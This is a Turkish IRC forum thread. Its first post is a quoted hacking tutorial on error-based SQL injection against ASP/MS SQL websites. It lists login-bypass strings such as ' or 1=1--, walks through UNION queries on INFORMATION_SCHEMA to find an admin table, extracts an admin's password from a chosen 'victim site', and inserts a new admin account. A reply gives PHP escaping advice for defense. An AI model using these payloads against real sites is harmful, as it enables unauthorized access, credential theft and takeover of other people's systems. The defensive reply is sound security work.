IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası
  sohbet

 Kayıt ol  Topluluk
Etiketlenen Kullanıcılar

Yeni Konu aç Cevapla
 
LinkBack Seçenekler Stil
Alt 12 Temmuz 2007, 05:08   #1
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
ASP SQL Enjeksiyon




ASP SQL ENJEKSIYON


ASP Sql Enjeksiyon a geçmeden önce bir kaç temel kavrama bakalim;


Database = Veritabani Nedir :

Veritabani verilerimizin düzenli olarak saklandigi dijital bir
ortamdir. Verilerimizi anlamli kilmak da bizim bilfimizi olusturur.


Veritabani Programlari:

Günümüzde, birçok firmanin ürettigi db programlari mevcuttur... Ama
bunlarin en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO’dur.


SQL Nedir :

Sql (Structured Query Language) bir veritabani dilidir.Uygulama
gelistiriciler, bir veritabanina yeni tablo veya veri eklerken,
silerken veya bir veriyi ararken bu dili kullanirlar.
Bu anlamda genis kabul görmüs bir standarttir. Örnegin MS ACCESS’te
bunu yapmanin baska yöntemleri de olsa, sonuçta Sql karsiligi her
zaman vardir. Örnek bir Sql ifadesi yazalim;
diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatini bize
bulsun
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
Sql da sorgulamalar SELECT ile yapilir Bu sorgu yazilisi ;

SELECT fiyat FROM xchatx WHERE dokuman ismi="hack"

SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE
kriterine göre tespit edilen kriterlerin hangi alanlarinin
görüntülenecegi bilgisidir. FROM deyiminden sonraki ifade,
sorgulkamanin hangi tablodan yapilacagini bildirir. WHERE deyimi
ise , sorgulamanin hangi kriter ya da kriterlere göre yapilacagini
belirtmemizi saglar.

Iste SQL ENJEKSIYON DA ILK BASTA SITENIN DB sindeki TABLO Ismini
bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalim
o nedenle SqL a ilk basta hata verdirip Tablo ismini ögrenmeliyiz.

SQL Hata verdirtmek için sunlar yapilabilir:

Asp sql enjeksiyondan bahsedecegim

Asp sitemizin tabiki db si ve sql si olan
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
search engine ya da
login barina :




Bunu yaziyoruz
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
Egeeer :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’xchatx1’ to a column of data type
int.

/index.asp, line 29


Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip
aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi
lazim...


Baska türlü de sql a hata verdirebilirsiniz :

’ or 1=1--


" or 1=1--

’ or ’a’=’a

or 1=1--

’) or (’a’=’a

" or "a"="a



Bunlari da aynene deneyin ...
simdi o hatayi aldik da ne oldu diyorsaniz orda TABLE ismini
ögrendik
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
xchatx1 table namemimiz.

Simdi burdan diger tablolarinda ismini ögrenmemiz lazim...

SELECT* FROM xchatx1 WHERE dokumanID=’’ or 1=1--’

Burda yaptigimiz sey bize xchatx1 table inda dokumanIDsi bos olan
seyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk
attik SQL a yani.
Burdan diger table isimlerini de ögreniriz. Sonra istedigimiz seyi
SELECT WHERE deyimlerini kullanarak getiririz. Önümüze...


Simdi örnek bi saldiri yapalim ve yeni seyler ögrenelim biraz daha :

ilk önce kurban siteyi seçtik....

Baktik sql açigi da var ’ bu isaret ile test ettik açik var yani.

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

UNION SQL a birden çok soru sormak için kullandik.

INFORMATION_SCHEMA.TABLES-- ise hiç table ismi bilmedigimiz için
yazdik

Top 1 table_name ise en üstteki tablo anlamina geliyor.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’serles’ to a column of data type int.
/index.asp, line 23


Hatamizi aldik
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.

Top 1 table_name serles mis!!

Simdi isimize yarayacak tablelari ögrenelim mesela admin table
larini burda da LIKE deyimini kullanicaz içinde admin geçen
kelimeleri getir bize SQL!!! dicez
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.


[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%
25admin%’--

Hatayi aliyoruz :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3

Burda admin diye baslayan admins diye bir table var. Simdi bu admins
table inin column yani sutünlarini ögrenme zamani!

Kodu yaziyoruz : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION
SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME LIKE = ’admins’--


Burada da INFORMATION_SCHEMA.TABLES yerine
INFORMATION_SCHEMA.COLUMNS deyimini yazdik. Yani yine feyk attik
sql’e, o da bu feykimizi yedi:

Hatayi alalim :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logonID’ to a column of data type
int.
/index.asp, line 22


ilk kolum LogonID çikti
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.


Simdi 2. sütünü istiyoruz :

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--

Burda en tepede olan ama LogonID olmayani istedik ve hatayi görelim:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logs’ to a column of data type int.

Ögrendik adi logs.

Artik sifre neredeyse geliyor kucagimiza
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.


Önce Password ve detaillarina bakicaz.

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN
(’logonID’,’logs’,’password’,details’)--

Hata :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must
appear in the select list if the statement contains a UNION
operator.
/index.asp, line 4

iki sütün var sansimiza güvenelim ilk logonu deneyelim :

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 logon
FROM admins--

admins table indaki logon sütunundaki ilk ini seçiyoruz.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’xrealcrack’ to a column of data type
int.
/index.asp, line 7

ve admin nick geldi.

xrealcrack isimli kullanicinin sifresini ver bize SQL
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
:

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 password
FROM admins where logon=’ xrealcrack ’--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’albert8387vsc’ to a column of data
type int.
/index.asp, line 4

Sifremizi aldik albert8387vsc
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
ok artik hackledik..

Kendimiz de kullanici yaratabiliriz admins table inda logon column
ünde
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.


Kodu : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] INSERT
INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES
(223,’SwmeRt’,’123456’,’NA’)--

SwmeRt nickli bi admin olusturduk sifresi de : 123456 iste bu
kadar...


Not:Alıntıdır.

 
Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
sohbet odaları reklam ver Benimmekan Mobil Sohbet
Alt 12 Temmuz 2007, 09:03   #2
Nickolas
Guest
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Yüzdesi:(%)
Cevap: ASP SQL Enjeksiyon




Arkadaşımızın SQL injection sadece ASP için geçerli değildir. Veri tabanı ve SQL kullanan tüm web programlama dilleri için geçerlidir.

Bu açığı kapatmak için POST 'tan veya GET 'ten aldığınız bilgileri temizleyin. Nasıl mı?

Örnek PHP için:

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

diyelim...

haberid 'yi olduğu gibi çağırırsanız SQL injection kaçınılmazdır...

<?php

$haberid = intval($_GET['haberid']);

?>

dediğinizde

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT FROM bilmemne

şeklinde adresi değişseniz bile... $haberid 3 'e dönecektir.


veya...

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Gibi bir adresiniz içeriyor varsayalım Bu noktada SQL injection yememek için

1- Scriptinizin initialize bölümüne

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
<?php /** * @author Nickolas * @date 12/07/2007 08:56:29 */ function deep_addslashes($gpc) { if (is_array($gpc)) { foreach ($gpc AS $var => $val) { if (is_array($val)) { deep_addslashes($val); continue; } $gpc["$var"] = addslashes($gpc["$var"]); } } else { $gpc = addslashes($gpc); } return $gpc; } if (@ini_get('register_globals') AND !@ini_set('register_globals', 0)) { trigger_error("Devam edebilmek icin <strong>php.ini</strong> dosyanizda 'register_globals' degerini 'Off' yapmalisiniz", E_USER_ERROR); exit; } @ini_set('magic_quotes_sybase', 0); @ini_set('set_magic_quotes_runtime', 0); $gotmagic = false; if (function_exists('get_magic_quotes_gpc') AND @get_magic_quotes_gpc()) { $gotmagic = true; } if ($gotmagic == false) { foreach (array('_POST', '_GET', '_REQUEST', '_COOKIE') AS $GPC) { $GLOBALS["$GPC"] = deep_addslashes($GLOBALS["$GPC"]); } } ?>

Kodlarını Girin.

Bu kod...

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] OR UNION SELECT * FROM admin WHERE 'a' = 'a'

daki kodun Tek Tırnak ( ' ) karekterlerini (\') şeklinde getirecek ve SQL Injection dan kurulacaksınız...

2. İşlem

<?php

$kategori = trim($_GET['do']);

mysql_query("SELECT * FROM haber WHERE kategori = '$kategori'");
?>

şeklinde değil de...

<?php

$kategori = mysql_real_escape_string(trim($_GET['do']));

mysql_query("SELECT * FROM haber WHERE kategori = '$kategori'");

?>

Şeklinde kullanın. mysql_real_escape_string fonksonu bir nevi addslashes görevi yapar... ve ayrımlarda kullandığı Tek Tırnak karekterini operatörlükten string e indirger..

 
Alıntı ile Cevapla

Cevapla

Etiketler
enjeksiyon, sql, asp


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Açık
Refbacks are Açık


Benzer Konular
Konu Konuyu Başlatan Forum Cevaplar Son Mesaj
Seloparin 25 000 IU/5mI enjeksiyon Lcia Sağlık Köşesi 0 21 Kasım 2014 00:50
Daizyn 45.5 mg/2 ml IM/IV enjeksiyon Lcia Sağlık Köşesi 0 21 Kasım 2014 00:49
Neoskabi 100 Ml Enjeksiyon PySSyCaT İlaçlar ve Yan Etkileri 0 12 Ekim 2014 20:35
Alfoxil Enjeksiyon İçin Toz Sır İlaçlar ve Yan Etkileri 0 12 Ağustos 2013 08:05
Alfasilin Enjeksiyon İçin Toz Sır İlaçlar ve Yan Etkileri 0 12 Ağustos 2013 08:01